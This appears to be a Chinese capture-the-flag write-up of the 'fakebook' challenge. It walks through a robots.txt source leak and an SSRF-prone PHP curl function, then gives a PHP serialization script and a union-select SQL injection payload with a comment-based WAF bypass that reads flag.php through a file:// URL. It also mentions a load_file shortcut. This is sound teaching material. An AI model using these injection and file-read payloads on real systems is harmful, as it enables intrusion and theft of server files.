【网鼎杯】fakebook:SQL注入+反序列化
2022年3月17日拿到题目是一个注册类的界面,通过robots.txt获得了源码泄露
User-agent: *
Disallow: /user.php.bak
user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计get函数存在ssrf漏洞,使用curl发起网络请求然后返回客户端,
将flag路径赋给blog就会返回flag的值
御剑扫一下发现了flag.php文件
同时,使用SQLMAP发现了数据库中存储的是反序列化后的结果,印证了猜想

所以我们可以构造blog参数为file协议访问flag.php的内容
<?php
class UserInfo{
public $name = '123';
public $age = 456;
public $blog = "file:///var/www/html/flag.php";
}
$test = new UserInfo();
echo serialize($test);
?>
因为WAF的限制,选择从no处手工注入

可知长度为4
构造payload:
view.php?no=0 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”c7ay”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
理论上可以得到flag(环境有点问题)
所以
当然了这道题非预期直接用sqlshell+loadfile
